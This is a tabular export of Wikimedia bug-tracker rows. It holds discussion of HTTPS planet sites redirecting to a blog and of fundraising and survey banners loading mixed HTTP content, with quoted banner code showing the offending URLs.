+**Severity**: normal",Unbreak Now!,100.0,1319871720,1324150275.0,PHID-USER-7i3ugree666xnpuicp4p,False,,False,PHID-TASK-5du34x2phyos6cdjuz5a,task_description,resolved,True,c2,1,False,False,True,-96,True,0,0,0,1,0,1,0,0,0,0,0,1,0,1,0,1,0,1,1,0,1,0,0,0,1,1,0,0,0,0,0,1,1,1,1,0,1,0,1,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,1,0,1,0,0,1
+155169,https planets redirect to some WMF blog,rt ticket is closed & redirection works.,,,1324150249,,PHID-USER-ogbcrxm45oo3n3xe5q25,False,,,PHID-TASK-5du34x2phyos6cdjuz5a,task_subcomment,,True,c2,1,False,,,-89,True,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+155160,https planets redirect to some WMF blog,"(In reply to comment #4)
+> (In reply to comment #3)
+> > Was this changed to highest due to the https-everywhere ruleset, or some other
+> > reason?
+> 
+> Probably because we are redirecting people inappropriately?
+
+Exactly.",,,1322754026,,PHID-USER-ogbcrxm45oo3n3xe5q25,False,,,PHID-TASK-5du34x2phyos6cdjuz5a,task_subcomment,,True,c2,1,False,,,-91,True,1,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,0,1,0,0,1,0,0,0,0,1,0,1,1
+155152,https planets redirect to some WMF blog,"(In reply to comment #3)
+> Was this changed to highest due to the https-everywhere ruleset, or some other
+> reason?
+
+Probably because we are redirecting people inappropriately?",,,1322627500,,PHID-USER-hwuumsjqciw7ji5qhpc7,False,,,PHID-TASK-5du34x2phyos6cdjuz5a,task_subcomment,,True,c2,1,False,,,-91,True,1,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,0,1,0,0,1,1,0,0,0,1,0,1,1
+155147,https planets redirect to some WMF blog,"Was this changed to highest due to the https-everywhere ruleset, or some other reason?",,,1322611853,,PHID-USER-xs3vxsmgivmm2tuyxsrb,False,,,PHID-TASK-5du34x2phyos6cdjuz5a,task_subcomment,,True,c2,1,False,,,-91,True,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0
+155143,https planets redirect to some WMF blog,*** Bug 32708 has been marked as a duplicate of this bug. ***,,,1322605263,,PHID-USER-ogbcrxm45oo3n3xe5q25,False,,,PHID-TASK-5du34x2phyos6cdjuz5a,task_subcomment,,True,c2,1,False,,,-92,True,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+155138,https planets redirect to some WMF blog,http://rt.wikimedia.org/Ticket/Display.html?id=1854,,,1320078124,,PHID-USER-ogbcrxm45oo3n3xe5q25,False,,,PHID-TASK-5du34x2phyos6cdjuz5a,task_subcomment,,True,c2,1,False,,,-96,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+33446,Mobile user survey banner includes non-HTTPS content on HTTPS page view,"While loading https://www.mediawiki.org/wiki/Special:Code/MediaWiki/91123 I found that some sort of ""mobile user survey"" banner displayed in the sitenotice area, and a mixed-content warning popped up in my browser indicating something was loaded over unencrypted HTTP.
+
+I popped open Firebug to check the network panel to find the culprit and reloaded to populate it, but the banner disappeared and hasn't reappeared so can't confirm it just yet.
+
+--------------------------
+**Version**: unspecified
+**Severity**: major",Unbreak Now!,100.0,1317944580,1321996555.0,PHID-USER-yek7ymogrv4qc67oilhf,False,,False,PHID-TASK-j5ri46a4vep5e5quwuzm,task_description,resolved,True,c2,1,True,False,True,-99,True,1,1,0,1,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,1,1,0,1,0,1,0,0,0,0,0,1,1,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,1,0,1,0,1,0,0,0
+148286,Mobile user survey banner includes non-HTTPS content on HTTPS page view,Patricia Pena is going to send a reminder to people who create these banners.  Please create a new bug if the problem pops up again.,,,1321996555,,PHID-USER-ogbcrxm45oo3n3xe5q25,False,,,PHID-TASK-j5ri46a4vep5e5quwuzm,task_subcomment,,True,c2,1,False,,,-93,True,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,1,0,0,0,0,1,1,0,0,0,1,1,0,0,0,0,0,1,1,0,1,0,0,0
+148283,Mobile user survey banner includes non-HTTPS content on HTTPS page view,"The three linked above have been fixed; there are a bunch more:
+
+[15:47] <brion> https://meta.wikimedia.org/w/index.php?title=Special:NoticeTemplate/view&template=B11_1114_Thermo <- this one's got some too (the termometer images)
+[15:47] <brion> https://meta.wikimedia.org/w/index.php?title=Special:NoticeTemplate/view&template=B11_1114_Foundation_WMFR_JimmyGreen <- this one with Jimmy_jacket_forest.png again
+[15:48] <brion> https://meta.wikimedia.org/w/index.php?title=Special:NoticeTemplate/view&template=B11_1114_JKwfCf_US <- and this
+[15:48] <brion> https://meta.wikimedia.org/w/index.php?title=Special:NoticeTemplate/view&template=B11_1114_JKwfSM_US <- and this
+[15:48] <brion> https://meta.wikimedia.org/w/index.php?title=Special:NoticeTemplate/view&template=WMDE_Nov14_0921
+[15:49] <brion> https://meta.wikimedia.org/w/index.php?title=Special:NoticeTemplate/view&template=B11_1114_btJKwF_FFFv0F0_US
+[15:49] <brion> https://meta.wikimedia.org/w/index.php?title=Special:NoticeTemplate/view&template=B11_1114_JKwMf_US
+[15:49] <PhancyPhysicist> brion: someone has been bad!
+[15:49] <brion> https://meta.wikimedia.org/w/index.php?title=Special:NoticeTemplate/view&template=B11_1113_btJKwF2_US
+[15:49] <brion> https://meta.wikimedia.org/w/index.php?title=Special:NoticeTemplate/view&template=B11_1113_btJKwF30M_US
+[15:49] <brion> https://meta.wikimedia.org/w/index.php?title=Special:NoticeTemplate/view&template=B11_1113_btJKwF_US
+[15:50] <brion> https://meta.wikimedia.org/w/index.php?title=Special:NoticeTemplate/view&template=B11_1113_btBFwP_US
+[15:50] <brion> https://meta.wikimedia.org/w/index.php?title=Special:NoticeTemplate/view&template=B11_1113_bt1_US
+[15:51] <brion> https://meta.wikimedia.org/w/index.php?title=Special:NoticeTemplate/view&template=WMDE_2011_Nov11_b
+[15:51] <brion> https://meta.wikimedia.org/w/index.php?title=Special:NoticeTemplate/view&template=WMDE_2011_Nov11_a
+[15:51] <brion> https://meta.wikimedia.org/w/index.php?title=Special:NoticeTemplate/view&template=B11_Donate_Jimmy_Thermo
+[15:52] <pgehres> brion: wow.  I happen to know who created most of those banners and will mention it to them
+[15:52] <brion> thanks :)
+[15:52] <pgehres> np
+[15:52] <pgehres> If you're curious, read the CN logs...",,,1321487657,,PHID-USER-yek7ymogrv4qc67oilhf,False,,,PHID-TASK-j5ri46a4vep5e5quwuzm,task_subcomment,,True,c2,1,True,,,-93,True,1,1,0,1,0,1,1,0,0,0,0,1,0,0,1,0,0,1,1,1,0,0,0,0,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,1,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,1,0,1
+148281,Mobile user survey banner includes non-HTTPS content on HTTPS page view,"**lambdav** wrote:
+
+Finding authors and their contributions in banners in not as easy as wiki pages.
+
+Thanks for resolving the problem.",,,1321487263,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-j5ri46a4vep5e5quwuzm,task_subcomment,,True,c2,1,False,,,-93,True,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,1,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0
+148278,Mobile user survey banner includes non-HTTPS content on HTTPS page view,"Found folks in #wikimedia-fundraising IRC channel who can help clean them up; apparently these are chapter fundraising banners, not from the WMF team, but they can clean them up and make sure info gets out.",,,1321487006,,PHID-USER-yek7ymogrv4qc67oilhf,False,,,PHID-TASK-j5ri46a4vep5e5quwuzm,task_subcomment,,True,c2,1,True,,,-93,True,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,0,1,1,0,0,0,1,1,0,0,0,1,1,1,0,0,0,1,0,1,0,1,1,0,0,0
+148273,Mobile user survey banner includes non-HTTPS content on HTTPS page view,"The documentation already says that:
+https://meta.wikimedia.org/wiki/Help:CentralNotice#Images
+
+The problem ain't updating the documentation, it's finding how to contact whoever's maintaining them so they remember to actually follow it. :)",,,1321486602,,PHID-USER-yek7ymogrv4qc67oilhf,False,,,PHID-TASK-j5ri46a4vep5e5quwuzm,task_subcomment,,True,c2,1,True,,,-93,True,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,1,0,1,1,0,1,0,1,0,0,1,0,0,0,1,1,1,0,0,0,1,1,1,0,1,1,0,0,0
+148266,Mobile user survey banner includes non-HTTPS content on HTTPS page view,"**lambdav** wrote:
+
+I don't know who are allowed to create banners. But authors should be informed about using protocol relative URLs.",,,1321486483,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-j5ri46a4vep5e5quwuzm,task_subcomment,,True,c2,1,False,,,-93,True,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,1,0,0,1,0,1,1,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,1,0,1,0,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,0,0,1,0,0,0
+148258,Mobile user survey banner includes non-HTTPS content on HTTPS page view,"Guilty party:
+
+https://meta.wikimedia.org/w/index.php?title=Special:NoticeTemplate/view&template=B11_1114_Foundation_WMFR_JimmyGreen_altbutton
+
+also:
+
+https://meta.wikimedia.org/w/index.php?title=Special:NoticeTemplate/view&template=WMDE_Nov15_B11
+
+https://meta.wikimedia.org/w/index.php?title=Special:NoticeTemplate/view&template=WMDE_Nov15_0921",,,1321486344,,PHID-USER-yek7ymogrv4qc67oilhf,False,,,PHID-TASK-j5ri46a4vep5e5quwuzm,task_subcomment,,True,c2,1,True,,,-93,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+148249,Mobile user survey banner includes non-HTTPS content on HTTPS page view,"Ahh this should be a perfect place to find all offending banners:
+https://meta.wikimedia.org/wiki/Special:NoticeTemplate",,,1321486160,,PHID-USER-yek7ymogrv4qc67oilhf,False,,,PHID-TASK-j5ri46a4vep5e5quwuzm,task_subcomment,,True,c2,1,True,,,-93,True,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,1
+148241,Mobile user survey banner includes non-HTTPS content on HTTPS page view,"Hrmmmmm well I don't see *any* fundraising banners on Commons, even logged out.
+
+Maybe they're flipping them on and off... where might they be hiding...",,,1321486090,,PHID-USER-yek7ymogrv4qc67oilhf,False,,,PHID-TASK-j5ri46a4vep5e5quwuzm,task_subcomment,,True,c2,1,True,,,-93,True,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,1,1,1,1,0,0,0,0,0,1,1,0,0,1,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,1,0,0,1,0,0,1,0,0,0,0,0,0,0,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,0,1,0,1,1,0,0,0
+148235,Mobile user survey banner includes non-HTTPS content on HTTPS page view,"**lambdav** wrote:
+
+I can see it on commons (not logged in because I closed banner under my account).
+
+When on https://commons.wikimedia.org
+
+The image is http://upload.wikimedia.org/wikipedia/foundation/7/73/Jimmy_jacket_forest.png
+
+The link is https://wikimediafoundation.org/wiki/Special:LandingCheck?landing_page=L11_1114_FR_Jimmy&utm_medium=sitenotice&utm_campaign=C11_1114_WMFR&utm_source=B11_1114_Foundation_WMFR_JimmyGreen&language=en&country=FR
+
+But the problem is not to correct banner but to inform banner creators. Otherwise this bug will be reopened for each new banner.",,,1321485750,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-j5ri46a4vep5e5quwuzm,task_subcomment,,True,c2,1,False,,,-93,True,1,0,0,1,1,1,1,1,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,1,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,1,0,0,0,0,0,1
+148230,Mobile user survey banner includes non-HTTPS content on HTTPS page view,"The banners I'm currently seeing logged out on https://en.wikipedia.org/ do not appear to include any non-SSL resources. (I'm seeing two Jimmy banners, no mobile user survey banners.)
+
+Can you copy-paste the target link from any triggering banners you're still seeing?",,,1321481368,,PHID-USER-yek7ymogrv4qc67oilhf,False,,,PHID-TASK-j5ri46a4vep5e5quwuzm,task_subcomment,,True,c2,1,True,,,-93,True,1,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,1,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,1,0,0,0,1,0,0,0
+148226,Mobile user survey banner includes non-HTTPS content on HTTPS page view,"**lambdav** wrote:
+
+New global banners -> The problem come back.
+
+I request that everybody creating any global banner knows that http: prefix should be removed from any URL pointer to Wikimedia server.
+
+URL should be protocol relative in links, resource locations, script locations, ...",,,1321479376,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-j5ri46a4vep5e5quwuzm,task_subcomment,,True,c2,1,False,,,-93,True,1,1,0,1,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,1,0,1,0,0,1,0,0,0,0,0,1,1,1,0,1,0,0,0,0,1,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,1
+148223,Mobile user survey banner includes non-HTTPS content on HTTPS page view,"**lambdav** wrote:
+
+Thanks again for resolution.",,,1318937947,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-j5ri46a4vep5e5quwuzm,task_subcomment,,True,c2,1,False,,,-98,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+148218,Mobile user survey banner includes non-HTTPS content on HTTPS page view,"**ngautam** wrote:
+
+That banner has several issues with it and should not be used at all...I've intentionally blanked it so if it does get turned on by mistake it doesn't cause any problems.",,,1318877931,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-j5ri46a4vep5e5quwuzm,task_subcomment,,True,c2,1,False,,,-98,True,1,0,0,1,1,1,0,0,0,1,0,1,0,0,0,0,0,1,1,0,0,1,0,0,1,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+148212,Mobile user survey banner includes non-HTTPS content on HTTPS page view,"**lambdav** wrote:
+
+
+Some http: still exists in
+https://meta.wikimedia.org/w/index.php?title=Special:NoticeTemplate/view&template=2011MobileReaders_anon
+
+Thanks for resolution on other messages.",,,1318872294,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-j5ri46a4vep5e5quwuzm,task_subcomment,,True,c2,1,False,,,-98,True,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+148206,Mobile user survey banner includes non-HTTPS content on HTTPS page view,"**ngautam** wrote:
+
+All sorts of randomness was broken on this...all the URLs should be relative on those two active campaigns.",,,1318869348,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-j5ri46a4vep5e5quwuzm,task_subcomment,,True,c2,1,False,,,-98,True,1,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+148199,Mobile user survey banner includes non-HTTPS content on HTTPS page view,"**lambdav** wrote:
+
+No one seems to react quickly...",,,1318848229,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-j5ri46a4vep5e5quwuzm,task_subcomment,,True,c2,1,False,,,-98,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+148191,Mobile user survey banner includes non-HTTPS content on HTTPS page view,"**lambdav** wrote:
+
+And still many occurrence of http: in
+https://meta.wikimedia.org/w/index.php?title=Special:NoticeTemplate/view&template=WCI_Registration",,,1318534053,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-j5ri46a4vep5e5quwuzm,task_subcomment,,True,c2,1,False,,,-98,True,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+148182,Mobile user survey banner includes non-HTTPS content on HTTPS page view,"**lambdav** wrote:
+
+I still cannot see changes. The http: prefix is still present in 2 templates used by the banner (6 occurrences) :
+
+
+4 occurrences of http: in
+https://meta.wikimedia.org/w/index.php?title=Special:NoticeTemplate/view&template=2011MobileReaders_anon
+
+...
+#mobileSurvey2011-logo {
+  position: absolute;
+  top: 20px;
+  left: 25px;
+                    /** vvvvv-HERE **/
+  background-image: url(http://upload.wikimedia.org/wikipedia/commons/thumb/1/12/Wikimedia_logo_text_RGB.svg/60px-Wikimedia_logo_text_RGB.svg.png);
+
+...
+<div id=""mobileSurvey2011"">
+  <div id=""mobileSurvey2011-logo""> </div>
+  <div id=""mobileSurvey2011-content"">
+    <span style=""font-size: 1.3em;"">{{{please-take}}}</span><br />
+    <span style=""font-style: italic; font-size: 0.9em;"">{{{share}}}</span>
+  </div>
+  <div id=""cn-toggle-box"">
+<!--                                                                                                      vvvvv-HERE      -->
+    <a href=""#"" onclick=""toggleNotice();$('#mobileSurvey2011').hide();return false;""><img border=""0"" src=""http://bits.wikimedia.org/skins-1.17/common/images/closewindow.png"" alt=""Close"" /></a>
+
+...
+<script type=""text/javascript"">
+//include throttle
+var throttle = 5;
+var throttleVal = Math.floor(Math.random() * throttle);
+if (throttleVal == 0 ) {
+  $('#mobileSurvey2011').show();
+/*                                               vvvvv-HERE      */
+  $('head').append('<link rel=""stylesheet"" href=""http://wikimediafoundation.org/tracker/bannerImpression.php?req=css&surveyView=1 "" type=""text/css"" />');
+/*           vvvvv-HERE      */
+  var url = 'http://wikimedia.limequery.org/52291/lang-'+wgUserLanguage;
+...
+
+
+2 occurrences of http: in
+https://meta.wikimedia.org/w/index.php?title=Special:NoticeTemplate/view&template=2011MobileReaders
+...
+#mobileSurvey2011-logo {
+  position: absolute;
+  top: 20px;
+  left: 25px;
+/*                      vvvvv-HERE */
+  background-image: url(http://upload.wikimedia.org/wikipedia/commons/thumb/1/12/Wikimedia_logo_text_RGB.svg/60px-Wikimedia_logo_text_RGB.svg.png);
+  height: 60px;
+  width: 60px;
+  background-repeat: no-repeat;
+}
+
+...
+<script type=""text/javascript"">
+//include throttle
+var throttle = 3;
+var throttleVal = Math.floor(Math.random() * throttle);
+if (throttleVal == 0 ) {
+  $('#mobileSurvey2011').show();
+  $('head').append('<link rel=""stylesheet"" href=""//wikimediafoundation.org/tracker/bannerImpression.php?req=css&surveyView=1 "" type=""text/css"" />');
+/*           vvvvv-HERE */
+  var url = 'http://wikimedia.limequery.org/52291/lang-'+wgUserLanguage;
+  $(""#mobileSurvey2011 a.variable_lp"").attr(""href"",url);
+...",,,1318529342,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-j5ri46a4vep5e5quwuzm,task_subcomment,,True,c2,1,False,,,-98,True,0,0,0,0,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,1,0,1,1,1,0,1,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,1,1,1,0,1,0,1,1,1,0,1,0,1,1,1,1,0,1,0,0,1
+148173,Mobile user survey banner includes non-HTTPS content on HTTPS page view,"(In reply to comment #8)
+> Appropriate changes made to banner
+
+Thanks for taking care of it so quick Nimish.",,,1318524563,,PHID-USER-qmantxp3p7omhisp3qgq,False,,,PHID-TASK-j5ri46a4vep5e5quwuzm,task_subcomment,,True,c2,1,False,,,-98,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,1
+148165,Mobile user survey banner includes non-HTTPS content on HTTPS page view,"**ngautam** wrote:
+
+Appropriate changes made to banner",,,1318524171,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-j5ri46a4vep5e5quwuzm,task_subcomment,,True,c2,1,False,,,-98,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+148157,Mobile user survey banner includes non-HTTPS content on HTTPS page view,"Assigning to Tomasz, he'll know who to poke. :)",,,1318522560,,PHID-USER-yek7ymogrv4qc67oilhf,False,,,PHID-TASK-j5ri46a4vep5e5quwuzm,task_subcomment,,True,c2,1,True,,,-98,True,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,1,0,1,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,0,0,1,0,0,0
+148153,Mobile user survey banner includes non-HTTPS content on HTTPS page view,"**lambdav** wrote:
+
+Internet Explorer 9 debugging tools reports the ""HTTPS compromised security"" error message for the following 2 files :
+  http://bits.wikimedia.org/skins-1.17/common/images/closewindow.png
+  http://wikimediafoundation.org/tracker/banner/Impression.php?req=css&surveyView=1
+
+It need to be fixed by using protocol relative URLs, by removing the http prefix:
+  //bits.wikimedia.org/skins-1.17/common/images/closewindow.png
+  //wikimediafoundation.org/tracker/banner/Impression.php?req=css&surveyView=1",,,1318520917,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-j5ri46a4vep5e5quwuzm,task_subcomment,,True,c2,1,False,,,-98,True,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,0,0,0,1,0,0,0
+148149,Mobile user survey banner includes non-HTTPS content on HTTPS page view,Yeah that banner needs to be fixed!,,,1318023260,,PHID-USER-yek7ymogrv4qc67oilhf,False,,,PHID-TASK-j5ri46a4vep5e5quwuzm,task_subcomment,,True,c2,1,True,,,-99,True,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,1,0,1,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+148147,Mobile user survey banner includes non-HTTPS content on HTTPS page view,"Now that you've posted the note, is there anything else to do?",,,1318023217,,PHID-USER-ogbcrxm45oo3n3xe5q25,False,,,PHID-TASK-j5ri46a4vep5e5quwuzm,task_subcomment,,True,c2,1,False,,,-99,True,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,0,1,0,0,1,0,0,0,0,0,0,0,0
+148145,Mobile user survey banner includes non-HTTPS content on HTTPS page view,"I added a note on [[meta:Help:CentralNotice]] recommending use of protocol-relative URLs for images.
+
